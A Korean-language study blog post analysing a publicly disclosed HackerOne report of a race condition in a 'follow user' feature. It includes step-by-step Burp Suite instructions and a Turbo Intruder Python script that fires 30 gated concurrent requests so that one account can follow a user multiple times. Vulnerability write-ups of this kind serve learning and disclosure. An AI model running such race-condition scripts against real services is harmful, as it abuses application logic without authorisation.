본문 바로가기

1-day 취약점 분석

[ 1-Day ] Race Condition when following a user

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.

 

-분석 레포트-

https://hackerone.com/reports/927384

 

Summary

 

사용자를 팔로우 할 때, Race Condition 취약점이 존재한다. 요청을 비동기적으로 보내는 경우 Follow 오류 메시지가 표시되는 대신 사용자를 여러 번 팔로우 할 수 있다. ( 제보자는 Race Condition 공격을 시도하기 위해 Burp Suite에서 Turbo intruder 확장을 사용 )

 

Steps to Reproduce

 

1. 사용자 프로필로 이동

2. Burp Suite에서 Intercept를 켜고, Follow 버튼을 클릭한다. 

3. 잡은 패킷을 통해  Send to turbo intruder 

4. %s 값 이 포함된 가짜 헤더를 추가한다. ( Test: %s 와 같이... )

5. Turbo Intruder에 아래 파이썬 코드를 복사한다. 

 

def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
                    concurrentConnections=30,
                    requestsPerConnection=100,
                    pipeline=False
                    )

 for i in range(30):
     engine.queue(target.req, str(i), gate='race1')

 engine.openGate('race1')
 engine.complete(timeout=60)
def handleResponse(req, interesting):
 table.add(req)
```

 

 

6. Attack 버튼을 클릭한다. Turbo Intruder는 30개의 요청을 보내고 상태 코드를 확인한다. 201 응답 코드가 여러개 표시된다면, 사용자를 여러번 팔로우 했다는 의미이다. 

 

Impact

 

Race Condition 취약점으로 하나의 계정으로 사용자를 여러 번 팔로우 할 수 있다.